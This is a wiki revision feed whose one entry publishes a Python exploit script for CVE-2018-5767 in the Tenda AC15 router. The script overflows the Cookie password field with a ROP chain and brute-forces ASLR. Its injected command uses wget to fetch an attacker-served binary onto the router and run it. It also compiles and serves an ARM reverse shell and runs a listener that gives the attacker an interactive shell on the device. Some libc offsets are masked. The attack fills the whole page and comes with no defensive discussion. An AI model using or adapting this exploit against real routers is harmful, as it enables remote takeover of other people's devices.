<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-5767_Tenda_AC15_Router_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-5767 Tenda AC15 Router 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-5767_Tenda_AC15_Router_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-5767_Tenda_AC15_Router_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T20:22:23Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-5767_Tenda_AC15_Router_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1530&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; #!/usr/bin/env python # EDB Note ~ Source: https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/ import urllib2 import struct import time import sock...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-5767_Tenda_AC15_Router_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1530&amp;oldid=prev"/>
		<updated>2021-04-11T02:10:01Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; #!/usr/bin/env python # EDB Note ~ Source: https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/ import urllib2 import struct import time import sock...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# EDB Note ~ Source: https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/&lt;br /&gt;
import urllib2&lt;br /&gt;
import struct&lt;br /&gt;
import time&lt;br /&gt;
import socket&lt;br /&gt;
from optparse import *&lt;br /&gt;
import SimpleHTTPServer&lt;br /&gt;
import SocketServer&lt;br /&gt;
import threading&lt;br /&gt;
import sys&lt;br /&gt;
import os&lt;br /&gt;
import subprocess&lt;br /&gt;
 &lt;br /&gt;
ARM_REV_SHELL = (&lt;br /&gt;
&amp;quot;#include &amp;lt;sys/socket.h&amp;gt;\n&amp;quot;&lt;br /&gt;
&amp;quot;#include &amp;lt;sys/types.h&amp;gt;\n&amp;quot;&lt;br /&gt;
&amp;quot;#include &amp;lt;string.h&amp;gt;\n&amp;quot;&lt;br /&gt;
&amp;quot;#include &amp;lt;stdio.h&amp;gt;\n&amp;quot;&lt;br /&gt;
&amp;quot;#include &amp;lt;netinet/in.h&amp;gt;\n&amp;quot;&lt;br /&gt;
&amp;quot;int main(int argc, char **argv)\n&amp;quot;&lt;br /&gt;
&amp;quot;{\n&amp;quot;&lt;br /&gt;
&amp;quot;           struct sockaddr_in addr;\n&amp;quot;&lt;br /&gt;
&amp;quot;           socklen_t addrlen;\n&amp;quot;&lt;br /&gt;
&amp;quot;           int sock = socket(AF_INET, SOCK_STREAM, 0);\n&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
&amp;quot;           memset(&amp;amp;addr, 0x00, sizeof(addr));\n&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
&amp;quot;           addr.sin_family = AF_INET;\n&amp;quot;&lt;br /&gt;
&amp;quot;           addr.sin_port = htons(%d);\n&amp;quot;&lt;br /&gt;
&amp;quot;           addr.sin_addr.s_addr = inet_addr(\&amp;quot;%s\&amp;quot;);\n&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
&amp;quot;           int conn = connect(sock, (struct sockaddr *)&amp;amp;addr,sizeof(addr));\n&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
&amp;quot;           dup2(sock, 0);\n&amp;quot;&lt;br /&gt;
&amp;quot;           dup2(sock, 1);\n&amp;quot;&lt;br /&gt;
&amp;quot;           dup2(sock, 2);\n&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
&amp;quot;           system(\&amp;quot;/bin/sh\&amp;quot;);\n&amp;quot;&lt;br /&gt;
&amp;quot;}\n&amp;quot;&lt;br /&gt;
)&lt;br /&gt;
 &lt;br /&gt;
REV_PORT = 31337&lt;br /&gt;
HTTPD_PORT = 8888&lt;br /&gt;
DONE = False&lt;br /&gt;
 &lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
* This function creates a listening socket on port&lt;br /&gt;
* REV_PORT. When a connection is accepted it updates&lt;br /&gt;
* the global DONE flag to indicate successful exploitation.&lt;br /&gt;
* It then jumps into a loop whereby the user can send remote&lt;br /&gt;
* commands to the device, interacting with a spawned /bin/sh&lt;br /&gt;
* process.&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
def threaded_listener():&lt;br /&gt;
            global DONE&lt;br /&gt;
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)&lt;br /&gt;
           &lt;br /&gt;
            host = (&amp;quot;0.0.0.0&amp;quot;, REV_PORT)&lt;br /&gt;
           &lt;br /&gt;
            try:&lt;br /&gt;
                        s.bind(host)&lt;br /&gt;
            except:&lt;br /&gt;
                        print &amp;quot;[+] Error binding to %d&amp;quot; %REV_PORT&lt;br /&gt;
                        return -1&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
            print &amp;quot;[+] Connect back listener running on port %d&amp;quot; %REV_PORT&lt;br /&gt;
           &lt;br /&gt;
            s.listen(1)&lt;br /&gt;
            conn, host = s.accept()&lt;br /&gt;
 &lt;br /&gt;
            #We got a connection, lets make the exploit thread aware&lt;br /&gt;
            DONE = True&lt;br /&gt;
 &lt;br /&gt;
            print &amp;quot;[+] Got connect back from %s&amp;quot; %host[0]&lt;br /&gt;
            print &amp;quot;[+] Entering command loop, enter exit to quit&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
            #Loop continuosly, simple reverse shell interface.&lt;br /&gt;
            while True:&lt;br /&gt;
                        print &amp;quot;#&amp;quot;,&lt;br /&gt;
                        cmd = raw_input()&lt;br /&gt;
                        if cmd == &amp;quot;exit&amp;quot;:&lt;br /&gt;
                                    break&lt;br /&gt;
                        if cmd == '':&lt;br /&gt;
                                    continue&lt;br /&gt;
 &lt;br /&gt;
                        conn.send(cmd + &amp;quot;\n&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
                        print conn.recv(4096)&lt;br /&gt;
 &lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
* Take the ARM_REV_SHELL code and modify it with&lt;br /&gt;
* the given ip and port to connect back to.&lt;br /&gt;
* This function then compiles the code into an&lt;br /&gt;
* ARM binary.&lt;br /&gt;
@Param comp_path – This should be the path of the cross-compiler.&lt;br /&gt;
@Param my_ip – The IP address of the system running this code.&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
def compile_shell(comp_path, my_ip):&lt;br /&gt;
            global ARM_REV_SHELL&lt;br /&gt;
            outfile = open(&amp;quot;a.c&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
            ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)&lt;br /&gt;
           &lt;br /&gt;
            outfile.write(ARM_REV_SHELL)&lt;br /&gt;
            outfile.close()&lt;br /&gt;
 &lt;br /&gt;
            compile_cmd = [comp_path, &amp;quot;a.c&amp;quot;,&amp;quot;-o&amp;quot;, &amp;quot;a&amp;quot;]&lt;br /&gt;
 &lt;br /&gt;
            s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)&lt;br /&gt;
           &lt;br /&gt;
            while s.poll() == None:&lt;br /&gt;
                        continue&lt;br /&gt;
 &lt;br /&gt;
            if s.returncode == 0:&lt;br /&gt;
                        return True&lt;br /&gt;
            else:&lt;br /&gt;
                        print &amp;quot;[x] Error compiling code, check compiler? Read the README?&amp;quot;&lt;br /&gt;
                        return False&lt;br /&gt;
 &lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
* This function uses the SimpleHTTPServer module to create&lt;br /&gt;
* a http server that will serve our malicious binary.&lt;br /&gt;
* This function is called as a thread, as a daemon process.&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
def start_http_server():&lt;br /&gt;
            Handler = SimpleHTTPServer.SimpleHTTPRequestHandler&lt;br /&gt;
            httpd = SocketServer.TCPServer((&amp;quot;&amp;quot;, HTTPD_PORT), Handler)&lt;br /&gt;
 &lt;br /&gt;
            print &amp;quot;[+] Http server started on port %d&amp;quot; %HTTPD_PORT&lt;br /&gt;
            httpd.serve_forever()&lt;br /&gt;
           &lt;br /&gt;
 &lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
* This function presents the actual vulnerability exploited.&lt;br /&gt;
* The Cookie header has a password field that is vulnerable to&lt;br /&gt;
* a sscanf buffer overflow, we make use of 2 ROP gadgets to&lt;br /&gt;
* bypass DEP/NX, and can brute force ASLR due to a watchdog&lt;br /&gt;
* process restarting any processes that crash.&lt;br /&gt;
* This function will continually make malicious requests to the&lt;br /&gt;
* devices web interface until the DONE flag is set to True.&lt;br /&gt;
@Param host – the ip address of the target.&lt;br /&gt;
@Param port – the port the webserver is running on.&lt;br /&gt;
@Param my_ip – The ip address of the attacking system.&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
def exploit(host, port, my_ip):&lt;br /&gt;
            global DONE&lt;br /&gt;
            url = &amp;quot;http://%s:%s/goform/exeCommand&amp;quot;%(host, port)&lt;br /&gt;
            i = 0&lt;br /&gt;
 &lt;br /&gt;
            command = &amp;quot;wget http://%s:%s/a -O /tmp/a &amp;amp;&amp;amp; chmod 777 /tmp/a &amp;amp;&amp;amp; /tmp/./a &amp;amp;;&amp;quot; %(my_ip, HTTPD_PORT)&lt;br /&gt;
 &lt;br /&gt;
            #Guess the same libc base continuosly&lt;br /&gt;
            libc_base = ****&lt;br /&gt;
            curr_libc = libc_base + (0x7c &amp;lt;&amp;lt; 12)&lt;br /&gt;
 &lt;br /&gt;
            system = struct.pack(&amp;quot;&amp;lt;I&amp;quot;, curr_libc + ****)&lt;br /&gt;
 &lt;br /&gt;
            #: pop {r3, r4, r7, pc}&lt;br /&gt;
            pop = struct.pack(&amp;quot;&amp;lt;I&amp;quot;, curr_libc + ****)&lt;br /&gt;
            #: mov r0, sp ; blx r3&lt;br /&gt;
            mv_r0_sp = struct.pack(&amp;quot;&amp;lt;I&amp;quot;, curr_libc + ****)&lt;br /&gt;
 &lt;br /&gt;
            password = &amp;quot;A&amp;quot;*offset&lt;br /&gt;
            password += pop + system + &amp;quot;B&amp;quot;*8 + mv_r0_sp + command + &amp;quot;.gif&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
            print &amp;quot;[+] Beginning brute force.&amp;quot;&lt;br /&gt;
            while not DONE:&lt;br /&gt;
                        i += 1               &lt;br /&gt;
                        print &amp;quot;[+] Attempt %d&amp;quot; %i&lt;br /&gt;
 &lt;br /&gt;
                        #build the request, with the malicious password field&lt;br /&gt;
                        req = urllib2.Request(url)                    &lt;br /&gt;
                        req.add_header(&amp;quot;Cookie&amp;quot;, &amp;quot;password=%s&amp;quot;%password)&lt;br /&gt;
 &lt;br /&gt;
                        #The request will throw an exception when we crash the server,&lt;br /&gt;
                        #we don't care about this, so don't handle it.&lt;br /&gt;
                        try:&lt;br /&gt;
                                    resp = urllib2.urlopen(req)&lt;br /&gt;
                        except:&lt;br /&gt;
                                    pass&lt;br /&gt;
 &lt;br /&gt;
                        #Give the device some time to restart the&lt;br /&gt;
                        time.sleep(1)&lt;br /&gt;
 &lt;br /&gt;
            print &amp;quot;[+] Exploit done&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
def main():&lt;br /&gt;
            parser = OptionParser()&lt;br /&gt;
            parser.add_option(&amp;quot;-t&amp;quot;, &amp;quot;–target&amp;quot;, dest=&amp;quot;host_ip&amp;quot;, help=&amp;quot;IP address of the target&amp;quot;)&lt;br /&gt;
            parser.add_option(&amp;quot;-p&amp;quot;, &amp;quot;–port&amp;quot;, dest=&amp;quot;host_port&amp;quot;, help=&amp;quot;Port of the targets webserver&amp;quot;)&lt;br /&gt;
            parser.add_option(&amp;quot;-c&amp;quot;, &amp;quot;–comp-path&amp;quot;, dest=&amp;quot;compiler_path&amp;quot;, help=&amp;quot;path to arm cross compiler&amp;quot;)&lt;br /&gt;
            parser.add_option(&amp;quot;-m&amp;quot;, &amp;quot;–my-ip&amp;quot;, dest=&amp;quot;my_ip&amp;quot;, help=&amp;quot;your ip address&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
            options, args = parser.parse_args()&lt;br /&gt;
 &lt;br /&gt;
            host_ip = options.host_ip&lt;br /&gt;
            host_port = options.host_port&lt;br /&gt;
            comp_path = options.compiler_path&lt;br /&gt;
            my_ip = options.my_ip&lt;br /&gt;
 &lt;br /&gt;
            if host_ip == None or host_port == None:&lt;br /&gt;
                        parser.error(&amp;quot;[x] A target ip address (-t) and port (-p) are required&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
            if comp_path == None:&lt;br /&gt;
                        parser.error(&amp;quot;[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
            if my_ip == None:&lt;br /&gt;
                        parser.error(&amp;quot;[x] Please pass your ip address (-m)&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
            if not compile_shell(comp_path, my_ip):&lt;br /&gt;
                        print &amp;quot;[x] Exiting due to error in compiling shell&amp;quot;&lt;br /&gt;
                        return -1&lt;br /&gt;
 &lt;br /&gt;
            httpd_thread = threading.Thread(target=start_http_server)&lt;br /&gt;
            httpd_thread.daemon = True&lt;br /&gt;
            httpd_thread.start()&lt;br /&gt;
           &lt;br /&gt;
            conn_listener = threading.Thread(target=threaded_listener)&lt;br /&gt;
            conn_listener.start()&lt;br /&gt;
 &lt;br /&gt;
            #Give the thread a little time to start up, and fail if that happens&lt;br /&gt;
            time.sleep(3)&lt;br /&gt;
 &lt;br /&gt;
            if not conn_listener.is_alive():&lt;br /&gt;
                        print &amp;quot;[x] Exiting due to conn_listener error&amp;quot;&lt;br /&gt;
                        return -1&lt;br /&gt;
           &lt;br /&gt;
 &lt;br /&gt;
            exploit(host_ip, host_port, my_ip)&lt;br /&gt;
           &lt;br /&gt;
           &lt;br /&gt;
            conn_listener.join()&lt;br /&gt;
           &lt;br /&gt;
            return 0&lt;br /&gt;
 &lt;br /&gt;
           &lt;br /&gt;
 &lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
            main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>